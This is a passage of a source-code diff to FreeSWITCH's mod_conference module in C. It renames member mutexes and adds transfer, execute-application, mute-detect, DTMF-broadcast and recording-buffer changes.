-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	switch_snprintf(msg, sizeof(msg), "Volume level %d", member->volume_out_level);
 	conference_member_say(member, msg, 0);
@@ -1424,7 +1504,7 @@
 	if (member == NULL)
 		return;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	member->volume_out_level--;
 	switch_normalize_volume(member->volume_out_level);
 
@@ -1435,7 +1515,7 @@
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "New-Level", "%d", member->volume_out_level);
 		switch_event_fire(&event);
 	}
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	switch_snprintf(msg, sizeof(msg), "Volume level %d", member->volume_out_level);
 	conference_member_say(member, msg, 0);
@@ -1449,7 +1529,7 @@
 	if (member == NULL)
 		return;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	member->volume_in_level++;
 	switch_normalize_volume(member->volume_in_level);
 
@@ -1460,7 +1540,7 @@
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "New-Level", "%d", member->volume_in_level);
 		switch_event_fire(&event);
 	}
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	switch_snprintf(msg, sizeof(msg), "Gain level %d", member->volume_in_level);
 	conference_member_say(member, msg, 0);
@@ -1474,7 +1554,7 @@
 	if (member == NULL)
 		return;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	member->volume_in_level = 0;
 
 	if (test_eflag(member->conference, EFLAG_GAIN_LEVEL) &&
@@ -1484,7 +1564,7 @@
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "New-Level", "%d", member->volume_in_level);
 		switch_event_fire(&event);
 	}
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	switch_snprintf(msg, sizeof(msg), "Gain level %d", member->volume_in_level);
 	conference_member_say(member, msg, 0);
@@ -1498,7 +1578,7 @@
 	if (member == NULL)
 		return;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	member->volume_in_level--;
 	switch_normalize_volume(member->volume_in_level);
 
@@ -1509,7 +1589,7 @@
 		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "New-Level", "%d", member->volume_in_level);
 		switch_event_fire(&event);
 	}
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	switch_snprintf(msg, sizeof(msg), "Gain level %d", member->volume_in_level);
 	conference_member_say(member, msg, 0);
@@ -1522,10 +1602,112 @@
 		conference_add_event_member_data(member, event);
 		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "dtmf");
 		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "DTMF-Key", action->binded_dtmf);
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Data", action->data);
 		switch_event_fire(&event);
 	}
 }
 
+static void conference_loop_fn_transfer(conference_member_t *member, caller_control_action_t *action)
+{
+	char *exten = NULL;
+	char *dialplan = "XML";
+	char *context = "default";
+
+	char *argv[3] = { 0 };
+	int argc;
+	char *mydata = NULL;
+	switch_event_t *event;
+	
+	if (test_eflag(member->conference, EFLAG_DTMF) && switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
+		conference_add_event_member_data(member, event);
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "transfer");
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Dialplan", action->data);
+		switch_event_fire(&event);
+	}
+	switch_clear_flag_locked(member, MFLAG_RUNNING);
+	
+	if ((mydata = switch_core_session_strdup(member->session, action->data))) {
+		if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+			if (argc > 0) {
+				exten = argv[0];
+			}
+			if (argc > 1) {
+				dialplan = argv[1];
+			}
+			if (argc > 2) {
+				context = argv[2];
+			}
+			
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Empty transfer string [%s]\n", (char *) action->data);
+			goto done;
+		}
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to allocate memory to duplicate transfer data.\n");
+		goto done;
+	}
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Transfering to: %s, %s, %s\n", exten, dialplan, context);
+	
+	switch_ivr_session_transfer(member->session,
+								exten, dialplan, context);
+								
+done:
+	return;
+}
+
+static void conference_loop_fn_exec_app(conference_member_t *member, caller_control_action_t *action)
+{
+	char *app = NULL;
+	char *arg = "";
+
+	char *argv[2] = { 0 };
+	int argc;
+	char *mydata = NULL;
+	switch_event_t *event = NULL;
+	switch_channel_t *channel = NULL;
+	
+	if (test_eflag(member->conference, EFLAG_DTMF) && switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
+		conference_add_event_member_data(member, event);
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "execute_app");
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Application", action->data);
+		switch_event_fire(&event);
+	}
+	
+	if ((mydata = switch_core_session_strdup(member->session, action->data))) {
+		if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+			if (argc > 0) {
+				app = argv[0];
+			}
+			if (argc > 1) {
+				arg = argv[1];
+			}
+			
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Empty execute app string [%s]\n", (char *) action->data);
+			goto done;
+		}
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to allocate memory to duplicate execute_app data.\n");
+		goto done;
+	}
+
+	if (!app) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to find application.\n");
+		goto done;
+	}
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Execute app: %s, %s\n", app, arg);
+
+	channel = switch_core_session_get_channel(member->session);
+	
+	switch_channel_set_app_flag(channel, CF_APP_TAGGED);
+	switch_core_session_set_read_codec(member->session, NULL);
+	switch_core_session_execute_application(member->session, app, arg);
+	switch_core_session_set_read_codec(member->session, &member->read_codec);							
+	switch_channel_clear_app_flag(channel, CF_APP_TAGGED);										
+done:
+	return;
+}
+
 static void conference_loop_fn_hangup(conference_member_t *member, caller_control_action_t *action)
 {
 	switch_clear_flag_locked(member, MFLAG_RUNNING);
@@ -1554,7 +1736,7 @@
 
 	while (switch_test_flag(member, MFLAG_RUNNING) && switch_channel_ready(channel)) {
 
-		if (switch_channel_test_flag(channel, CF_SERVICE)) {
+		if (switch_channel_test_app_flag(channel, CF_APP_TAGGED)) {
 			switch_yield(100000);
 			continue;
 		}
@@ -1593,7 +1775,7 @@
 
 		/* if the member can speak, compute the audio energy level and */
 		/* generate events when the level crosses the threshold        */
-		if (switch_test_flag(member, MFLAG_CAN_SPEAK) && energy_level) {
+		if ((switch_test_flag(member, MFLAG_CAN_SPEAK) || switch_test_flag(member, MFLAG_MUTE_DETECT)) && energy_level) {
 			uint32_t energy = 0, i = 0, samples = 0, j = 0;
 			int16_t *data;
 			int divisor = 0;
@@ -1643,19 +1825,35 @@
 						}
 						switch_mutex_unlock(member->conference->member_mutex);
 
-						if (test_eflag(member->conference, EFLAG_START_TALKING) &&
+						if (test_eflag(member->conference, EFLAG_START_TALKING) && switch_test_flag(member, MFLAG_CAN_SPEAK) &&
 							switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
 							conference_add_event_member_data(member, event);
 							switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "start-talking");
 							switch_event_fire(&event);
 						}
+						
+						if (switch_test_flag(member, MFLAG_MUTE_DETECT) && !switch_test_flag(member, MFLAG_CAN_SPEAK)) {
+
+							if (!switch_strlen_zero(member->conference->mute_detect_sound)) {
+								conference_member_play_file(member, member->conference->mute_detect_sound, 0);
+							}
+
+							if (test_eflag(member->conference, EFLAG_MUTE_DETECT) &&
+								switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
+								conference_add_event_member_data(member, event);
+								switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "mute-detect");
+								switch_event_fire(&event);
+							}
+
+						}
+						
 					}
 				}
 			} else {
 				if (hangunder_hits) {
 					hangunder_hits--;
 				}
-				if (switch_test_flag(member, MFLAG_TALKING)) {
+				if (switch_test_flag(member, MFLAG_TALKING) && switch_test_flag(member, MFLAG_CAN_SPEAK)) {
 					switch_event_t *event;
 					if (++hangover_hits >= hangover) {
 						hangover_hits = hangunder_hits = 0;
@@ -1673,7 +1871,8 @@
 		}
 
 		/* skip frames that are not actual media or when we are muted or silent */
-		if ((switch_test_flag(member, MFLAG_TALKING) || energy_level == 0) && switch_test_flag(member, MFLAG_CAN_SPEAK)) {
+		if ((switch_test_flag(member, MFLAG_TALKING) || energy_level == 0) && switch_test_flag(member, MFLAG_CAN_SPEAK) && 
+			!switch_test_flag(member->conference, CFLAG_WAIT_MOD)) {
 			switch_audio_resampler_t *read_resampler = member->read_resampler;
 			void *data;
 			uint32_t datalen;
@@ -1682,12 +1881,8 @@
 				int16_t *bptr = (int16_t *) read_frame->data;
 				int len = (int) read_frame->datalen;
 
-				read_resampler->from_len = switch_short_to_float(bptr, read_resampler->from, (int) len / 2);
-				read_resampler->to_len = switch_resample_process(read_resampler,
-																 read_resampler->from,
-																 read_resampler->from_len, read_resampler->to, read_resampler->to_size, 0);
-
-				switch_float_to_short(read_resampler->to, member->resample_out, read_resampler->to_len);
+				switch_resample_process(read_resampler, bptr, len / 2);
+				memcpy(member->resample_out, read_resampler->to, read_resampler->to_len * 2);
 				len = read_resampler->to_len * 2;
 				datalen = len;
 				data = member->resample_out;
@@ -1750,7 +1945,10 @@
 	{"vol listen zero", "5", CALLER_CONTROL_VOL_LISTEN_ZERO, conference_loop_fn_volume_listen_zero},
 	{"vol listen dn", "4", CALLER_CONTROL_VOL_LISTEN_DN, conference_loop_fn_volume_listen_dn},
 	{"hangup", "#", CALLER_CONTROL_HANGUP, conference_loop_fn_hangup},
-	{"event", NULL, CALLER_CONTROL_EVENT, conference_loop_fn_event}
+	{"event", NULL, CALLER_CONTROL_EVENT, conference_loop_fn_event},
+	{"lock", NULL, CALLER_CONTROL_LOCK, conference_loop_fn_lock_toggle},
+	{"transfer", NULL, CALLER_CONTROL_TRANSFER, conference_loop_fn_transfer},
+	{"execute_application", NULL, CALLER_CONTROL_EXEC_APP, conference_loop_fn_exec_app}
 };
 
 #define CCFNTBL_QTY (sizeof(ccfntbl)/sizeof(ccfntbl[0]))
@@ -1763,7 +1961,6 @@
 	switch_frame_t write_frame = { 0 };
 	uint8_t *data = NULL;
 	switch_timer_t timer = { 0 };
-	switch_codec_t *read_codec;
 	uint32_t interval;
 	uint32_t samples;
 	uint32_t csamples;
@@ -1772,9 +1969,12 @@
 	uint32_t low_count, bytes;
 	call_list_t *call_list, *cp;
 	int restarting = -1;
-
+	switch_codec_implementation_t read_impl = {0};
+	
  top:
 
+	switch_core_session_get_read_impl(member->session, &read_impl);
+
 	restarting++;
 	
 	if (switch_test_flag(member, MFLAG_RESTART)) {
@@ -1784,11 +1984,10 @@
 	}
 
 	channel = switch_core_session_get_channel(member->session);
-	read_codec = switch_core_session_get_read_codec(member->session);
-	interval = read_codec->implementation->microseconds_per_packet / 1000;
+	interval = read_impl.microseconds_per_packet / 1000;
 	samples = switch_samples_per_packet(member->conference->rate, interval);
 	csamples = samples;
-	tsamples = member->orig_read_codec->implementation->samples_per_packet;
+	tsamples = member->orig_read_impl.samples_per_packet;
 	flush_len = 0;
 	low_count = 0;
 	bytes = samples * 2;
@@ -1863,7 +2062,7 @@
 				for (x = 0; x < argc; x++) {
 					char *dial_str = switch_mprintf("%s%s", switch_str_nil(prefix), argv[x]);
 					switch_assert(dial_str);
-					conference_outcall_bg(member->conference, NULL, NULL, dial_str, to, switch_str_nil(flags), cid_name, cid_num);
+					conference_outcall_bg(member->conference, NULL, NULL, dial_str, to, switch_str_nil(flags), cid_name, cid_num, NULL);
 					switch_safe_free(dial_str);
 				}
 				switch_safe_free(cpstr);
@@ -1872,7 +2071,7 @@
 	}
 
 	if (restarting) {
-		switch_channel_clear_flag(channel, CF_SERVICE);
+		switch_channel_clear_app_flag(channel, CF_APP_TAGGED);
 	}
 
 	/* Fair WARNING, If you expect the caller to hear anything or for digit handling to be processed,      */
@@ -1892,9 +2091,9 @@
 			goto top;
 		}
 
-		switch_mutex_lock(member->flag_mutex);
+		switch_mutex_lock(member->control_mutex);
 
-		if (switch_core_session_dequeue_event(member->session, &event) == SWITCH_STATUS_SUCCESS) {
+		if (switch_core_session_dequeue_event(member->session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 			if (event->event_id == SWITCH_EVENT_MESSAGE) {
 				char *from = switch_event_get_header(event, "from");
 				char *to = switch_event_get_header(event, "to");
@@ -1933,11 +2132,14 @@
 		if (switch_channel_has_dtmf(channel)) {
 			switch_channel_dequeue_dtmf_string(channel, dtmf, sizeof(dtmf));
 
-			if (member->conference->dtmf_parser != NULL) {
-
-				for (digit = dtmf; *digit && caller_action == NULL; digit++) {
-					caller_action = (caller_control_action_t *)
-						switch_ivr_digit_stream_parser_feed(member->conference->dtmf_parser, member->digit_stream, *digit);
+			if (switch_test_flag(member, MFLAG_DIST_DTMF)) {
+				conference_send_all_dtmf(member, member->conference, dtmf);
+			} else {
+				if (member->conference->dtmf_parser != NULL) {
+					for (digit = dtmf; *digit && caller_action == NULL; digit++) {
+						caller_action = (caller_control_action_t *)
+							switch_ivr_digit_stream_parser_feed(member->conference->dtmf_parser, member->digit_stream, *digit);
+					}
 				}
 			}
 			/* otherwise, clock the parser so that it can handle digit timeout detection */
@@ -1955,9 +2157,9 @@
 #ifdef INTENSE_DEBUG
 			switch_log_printf(SWITCH_CHANNEL_LOG,
 							  SWITCH_LOG_INFO,
-							  "executing caller control '%s' param '%s' on call '%u, %s, %s, %s'\n",
+							  "executing caller control '%s' param '%s' on call '%u, %s\n",
 							  caller_action->fndesc->key,
-							  param ? param : "none", member->id, switch_channel_get_name(channel), profile->caller_id_name, profile->caller_id_number);
+							  param ? param : "none", member->id, switch_channel_get_name(channel));
 #endif
 
 			caller_action->fndesc->handler(member, caller_action);
@@ -1990,9 +2192,8 @@
 				} else {		/* send the node frame instead of the conference frame to the call leg */
 					if (member->fnode->type == NODE_TYPE_SPEECH) {
 						switch_speech_flag_t flags = SWITCH_SPEECH_FLAG_BLOCKING;
-						uint32_t rate = member->conference->rate;
-
-						if (switch_core_speech_read_tts(member->fnode->sh, file_frame, &file_data_len, &rate, &flags) == SWITCH_STATUS_SUCCESS) {
+						
+						if (switch_core_speech_read_tts(member->fnode->sh, file_frame, &file_data_len, &flags) == SWITCH_STATUS_SUCCESS) {
 							file_sample_len = file_data_len / 2;
 						} else {
 							file_sample_len = file_data_len = 0;
@@ -2085,13 +2286,13 @@
 			switch_clear_flag_locked(member, MFLAG_FLUSH_BUFFER);
 		}
 		
-		switch_mutex_unlock(member->flag_mutex);
+		switch_mutex_unlock(member->control_mutex);
 
 
 		if (switch_core_session_private_event_count(member->session)) {
-			switch_channel_set_flag(channel, CF_SERVICE);
+			switch_channel_set_app_flag(channel, CF_APP_TAGGED);
 			switch_ivr_parse_all_events(member->session);
-			switch_channel_clear_flag(channel, CF_SERVICE);
+			switch_channel_clear_app_flag(channel, CF_APP_TAGGED);
 			switch_set_flag_locked(member, MFLAG_FLUSH_BUFFER);
 			switch_core_session_set_read_codec(member->session, &member->read_codec);
 		}
@@ -2105,7 +2306,7 @@
 	}							/* Rinse ... Repeat */
 
 	if (member->digit_stream != NULL) {
-		switch_ivr_digit_stream_destroy(member->digit_stream);
+		switch_ivr_digit_stream_destroy(&member->digit_stream);
 	}
 
 	switch_clear_flag_locked(member, MFLAG_RUNNING);
@@ -2128,7 +2329,7 @@
 /* Sub-Routine called by a record entity inside a conference */
 static void *SWITCH_THREAD_FUNC conference_record_thread_run(switch_thread_t *thread, void *obj)
 {
-	uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
+	int16_t *data_buf;
 	switch_file_handle_t fh = { 0 };
 	conference_member_t smember = { 0 }, *member;
 	conference_record_t *rec = (conference_record_t *) obj;
@@ -2138,7 +2339,12 @@
 	char *vval;
 	switch_timer_t timer = { 0 };
 	uint32_t rlen;
+	switch_size_t data_buf_len;
 
+	data_buf_len = samples * sizeof(int16_t);
+
+	switch_zmalloc(data_buf, data_buf_len);
+
 	if (switch_thread_rwlock_tryrdlock(conference->rwlock) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Read Lock Fail\n");
 		return NULL;
@@ -2165,6 +2371,7 @@
 	member->mux_frame = switch_core_alloc(member->pool, member->frame_size);
 
 
+	switch_mutex_init(&member->control_mutex, SWITCH_MUTEX_NESTED, rec->pool);
 	switch_mutex_init(&member->flag_mutex, SWITCH_MUTEX_NESTED, rec->pool);
 	switch_mutex_init(&member->audio_in_mutex, SWITCH_MUTEX_NESTED, rec->pool);
 	switch_mutex_init(&member->audio_out_mutex, SWITCH_MUTEX_NESTED, rec->pool);
@@ -2211,9 +2418,9 @@
 	switch_core_file_set_string(&fh, SWITCH_AUDIO_COL_STR_ARTIST, "FreeSWITCH mod_conference Software Conference Module");
 
 	while (switch_test_flag(member, MFLAG_RUNNING) && switch_test_flag(conference, CFLAG_RUNNING) && conference->count) {
-		switch_size_t len;
+		switch_size_t len = 0;
 		mux_used = (uint32_t) switch_buffer_inuse(member->mux_buffer);
-
+		
 		if (switch_test_flag(member, MFLAG_FLUSH_BUFFER)) {
 			if (mux_used) {
 				switch_mutex_lock(member->audio_out_mutex);
@@ -2224,26 +2431,26 @@
 			switch_clear_flag_locked(member, MFLAG_FLUSH_BUFFER);
 		}
 
-		if (mux_used) {
-			/* Flush the output buffer and write all the data (presumably muxed) to the file */
-			switch_mutex_lock(member->audio_out_mutex);
-			low_count = 0;
+		if (switch_test_flag((&fh), SWITCH_FILE_PAUSE)) {
+			switch_set_flag_locked(member, MFLAG_FLUSH_BUFFER);
+		} else {
+			if (mux_used) {
+				/* Flush the output buffer and write all the data (presumably muxed) to the file */
+				switch_mutex_lock(member->audio_out_mutex);
+				low_count = 0;
 
-			if ((rlen = (uint32_t) switch_buffer_read(member->mux_buffer, data, sizeof(data)))) {
-				if (!switch_test_flag((&fh), SWITCH_FILE_PAUSE)) {
+				if ((rlen = (uint32_t) switch_buffer_read(member->mux_buffer, data_buf, data_buf_len))) {
 					len = (switch_size_t) rlen / sizeof(int16_t);
 				}
-			}
-			switch_mutex_unlock(member->audio_out_mutex);
-		} else {
-			if (!switch_test_flag((&fh), SWITCH_FILE_PAUSE)) {
+				switch_mutex_unlock(member->audio_out_mutex);
+			} 
+			
+			if (len < (switch_size_t) samples) {
+				memset(data_buf + (len * sizeof(int16_t)), 255, ((switch_size_t)samples - len) * sizeof(int16_t));
 				len = (switch_size_t) samples;
-				memset(data, 0, len);
 			}
-		}
-
-		if (!switch_test_flag((&fh), SWITCH_FILE_PAUSE)) {
-			if (switch_core_file_write(&fh, data, &len) != SWITCH_STATUS_SUCCESS) {
+			
+			if (!len || switch_core_file_write(&fh, data_buf, &len) != SWITCH_STATUS_SUCCESS) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write Failed\n");
 				switch_clear_flag_locked(member, MFLAG_RUNNING);
 			}
@@ -2254,6 +2461,7 @@
 
   end:
 
+	switch_safe_free(data_buf);
 	switch_core_timer_destroy(&timer);
 	conference_del_member(conference, member);
 	switch_buffer_destroy(&member->audio_buffer);
@@ -2262,7 +2470,7 @@
 	if (switch_test_flag((&fh), SWITCH_FILE_OPEN)) {
 		switch_core_file_close(&fh);
 	}
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Recording Stopped\n");
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Recording of %s Stopped\n", rec->path);
 
 	if (rec->pool) {
 		switch_memory_pool_t *pool = rec->pool;
@@ -2323,7 +2531,7 @@
 	if (member == NULL)
 		return count;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 
 	if (stop == FILE_STOP_ALL) {
 		for (nptr = member->fnode; nptr; nptr = nptr->next) {
@@ -2337,11 +2545,39 @@
 		}
 	}
 
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	return count;
 }
 
+static void conference_send_all_dtmf(conference_member_t *member, conference_obj_t *conference, const char *dtmf)
+{
+	conference_member_t *imember;
+
+	switch_mutex_lock(conference->mutex);
+	switch_mutex_lock(conference->member_mutex);
+
+	for (imember = conference->members; imember; imember = imember->next) {
+		/* don't send to self */
+		if (imember->id == member->id) {
+			continue; 			
+		}
+		if (imember->session) {
+			const char *p;
+			for (p = dtmf; p && *p; p++) {
+				switch_dtmf_t digit = { *p, SWITCH_DEFAULT_DTMF_DURATION};
+				switch_mutex_lock(imember->control_mutex);
+				switch_core_session_kill_channel(imember->session, SWITCH_SIG_BREAK);
+				switch_core_session_send_dtmf(imember->session, &digit);
+				switch_mutex_unlock(imember->control_mutex);
+			}
+		}
+	}
+
+	switch_mutex_unlock(conference->member_mutex);
+	switch_mutex_unlock(conference->mutex);
+}
+
 /* Play a file in the conference room */
 static switch_status_t conference_play_file(conference_obj_t *conference, char *file, uint32_t leadin, switch_channel_t *channel, uint8_t async)
 {
@@ -2519,14 +2755,14 @@
 	fnode->pool = pool;
 	/* Queue the node */
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Queueing file '%s' for play\n", file);
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	for (nptr = member->fnode; nptr && nptr->next; nptr = nptr->next);
 	if (nptr) {
 		nptr->next = fnode;
 	} else {
 		member->fnode = fnode;
 	}
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 	status = SWITCH_STATUS_SUCCESS;
 
   done:
@@ -2584,7 +2820,7 @@
 	}
 
 	/* Queue the node */
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	for (nptr = member->fnode; nptr && nptr->next; nptr = nptr->next);
 
 	if (nptr) {
@@ -2610,7 +2846,7 @@
 	}
 
 	switch_core_speech_feed_tts(fnode->sh, text, &flags);
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	status = SWITCH_STATUS_SUCCESS;
 
@@ -2664,7 +2900,7 @@
 	if (!conference->sh) {
 		memset(&conference->lsh, 0, sizeof(conference->lsh));
 		if (switch_core_speech_open(&conference->lsh, conference->tts_engine, conference->tts_voice,
-									conference->rate, conference->interval, &flags, conference->pool) != SWITCH_STATUS_SUCCESS) {
+									conference->rate, conference->interval, &flags, NULL) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid TTS module [%s]!\n", conference->tts_engine);
 			return SWITCH_STATUS_FALSE;
 		}
@@ -2716,7 +2952,9 @@
 
 	switch_mutex_lock(conference->member_mutex);
 	for (member = conference->members; member; member = member->next) {
-		pfncallback(member, stream, data);
+		if (member->session && !switch_test_flag(member, MFLAG_NOCHANNEL)) {
+			pfncallback(member, stream, data);
+		}
 	}
 	switch_mutex_unlock(conference->member_mutex);
 }
@@ -2911,11 +3149,12 @@
 	if (member == NULL)
 		return SWITCH_STATUS_GENERR;
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	switch_clear_flag(member, MFLAG_RUNNING);
-	switch_set_flag(member, MFLAG_KICKED);
+	switch_set_flag_locked(member, MFLAG_KICKED);
+
 	switch_core_session_kill_channel(member->session, SWITCH_SIG_BREAK);
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 	if (stream != NULL) {
 		stream->write_function(stream, "OK kicked %u\n", member->id);
 	}
@@ -2945,10 +3184,10 @@
 		return SWITCH_STATUS_GENERR;
 	}
 
-	switch_mutex_lock(member->flag_mutex);
+	switch_mutex_lock(member->control_mutex);
 	switch_core_session_kill_channel(member->session, SWITCH_SIG_BREAK);
 	switch_core_session_send_dtmf_string(member->session, (char *) data);
-	switch_mutex_unlock(member->flag_mutex);
+	switch_mutex_unlock(member->control_mutex);
 
 	if (stream != NULL) {
 		stream->write_function(stream, "OK sent %s to %u\n", (char *) data, member->id);
@@ -2973,9 +3212,9 @@
 		return SWITCH_STATUS_GENERR;
 
 	if (data) {
-		switch_mutex_lock(member->flag_mutex);
+		switch_mutex_lock(member->control_mutex);
 		member->energy_level = atoi((char *) data);
-		switch_mutex_unlock(member->flag_mutex);
+		switch_mutex_unlock(member->control_mutex);
 	}
 	if (stream != NULL) {
 		stream->write_function(stream, "Energy %u = %d\n", member->id, member->energy_level);
@@ -2999,10 +3238,10 @@
 		return SWITCH_STATUS_GENERR;
 
 	if (data) {
-		switch_mutex_lock(member->flag_mutex);
+		switch_mutex_lock(member->control_mutex);
 		member->volume_in_level = atoi((char *) data);
 		switch_normalize_volume(member->volume_in_level);
-		switch_mutex_unlock(member->flag_mutex);
+		switch_mutex_unlock(member->control_mutex);
 	}
 	if (stream != NULL) {
 		stream->write_function(stream, "Volume IN %u = %d\n", member->id, member->volume_in_level);
@@ -3026,10 +3265,10 @@
 		return SWITCH_STATUS_GENERR;
 
 	if (data) {
-		switch_mutex_lock(member->flag_mutex);
+		switch_mutex_lock(member->control_mutex);
 		member->volume_out_level = atoi((char *) data);
 		switch_normalize_volume(member->volume_out_level);
-		switch_mutex_unlock(member->flag_mutex);
+		switch_mutex_unlock(member->control_mutex);
 	}
 	if (stream != NULL) {
 		stream->write_function(stream, "Volume OUT %u = %d\n", member->id, member->volume_out_level);
@@ -3053,6 +3292,7 @@
 	void *val;
 	char *d = ";";
 	int pretty = 0;
+	int summary = 0;
 	int argofs = (argc >= 2 && strcasecmp(argv[1], "list") == 0);	/* detect being called from chat vs. api */
 
 	if (argv[1 + argofs]) {
@@ -3071,6 +3311,8 @@
 			}
 		} else if (strcasecmp(argv[1 + argofs], "pretty") == 0) {
 			pretty = 1;
+		} else if (strcasecmp(argv[1 + argofs], "summary") == 0) {
+			summary = 1;
 		}
 	}
 
@@ -3083,10 +3325,12 @@
 								   conference->name,
 								   conference->count, conference->count == 1 ? "" : "s", switch_test_flag(conference, CFLAG_LOCKED) ? " locked" : "");
 			count++;
-			if (pretty) {
-				conference_list_pretty(conference, stream);
-			} else {
-				conference_list(conference, stream, d);
+			if (!summary) {
+				if (pretty) {
+					conference_list_pretty(conference, stream);
+				} else {
+					conference_list(conference, stream, d);
+				}
 			}
 		}
 	} else {
@@ -3554,19 +3798,27 @@
 
 static switch_status_t conf_api_sub_bgdial(conference_obj_t *conference, switch_stream_handle_t *stream, int argc, char **argv)
 {
+	switch_uuid_t uuid;
+	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
+
 	switch_assert(stream != NULL);
 
 	if (argc <= 2) {
 		stream->write_function(stream, "Bad Args\n");
 		return SWITCH_STATUS_GENERR;
 	}
+
+	switch_uuid_get(&uuid);
+	switch_uuid_format(uuid_str, &uuid);
+	
 	if (conference) {
-		conference_outcall_bg(conference, NULL, NULL, argv[2], 60, NULL, argv[4], argv[3]);
+		conference_outcall_bg(conference, NULL, NULL, argv[2], 60, NULL, argv[4], argv[3], uuid_str);
 	} else {
-		conference_outcall_bg(NULL, argv[1], NULL, argv[2], 60, NULL, argv[4], argv[3]);
+		conference_outcall_bg(NULL, argv[0], NULL, argv[2], 60, NULL, argv[4], argv[3], uuid_str);
 	}
-	stream->write_function(stream, "OK\n");
 
+	stream->write_function(stream, "OK Job-UUID: %s\n", uuid_str);
+
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -3575,6 +3827,9 @@
 	switch_status_t ret_status = SWITCH_STATUS_SUCCESS;
 	char *conf_name = NULL, *profile_name;
 	switch_event_t *params = NULL;
+	conference_obj_t *new_conference = NULL;
+	int locked = 0;
+
 	switch_assert(conference != NULL);
 	switch_assert(stream != NULL);
 
@@ -3592,11 +3847,10 @@
 		for (x = 3; x < argc; x++) {
 			conference_member_t *member = NULL;
 			uint32_t id = atoi(argv[x]);
-			conference_obj_t *new_conference = NULL;
 			switch_channel_t *channel;
 			switch_event_t *event;
 			switch_xml_t cxml = NULL, cfg = NULL, profiles = NULL;
-
+			
 			if (!id || !(member = conference_member_get(conference, id))) {
 				stream->write_function(stream, "No Member %u in conference %s.\n", id, conference->name);
 				continue;
@@ -3604,90 +3858,102 @@
 
 			channel = switch_core_session_get_channel(member->session);
 
-			/* build a new conference if it doesn't exist */
-			if (!(new_conference = (conference_obj_t *) switch_core_hash_find(globals.conference_hash, conf_name))) {
-				switch_memory_pool_t *pool = NULL;
-				conf_xml_cfg_t xml_cfg = { 0 };
+			if (!new_conference) {
+				if (!locked) {
+					switch_mutex_lock(globals.setup_mutex);
+					locked = 1;
+				}
 
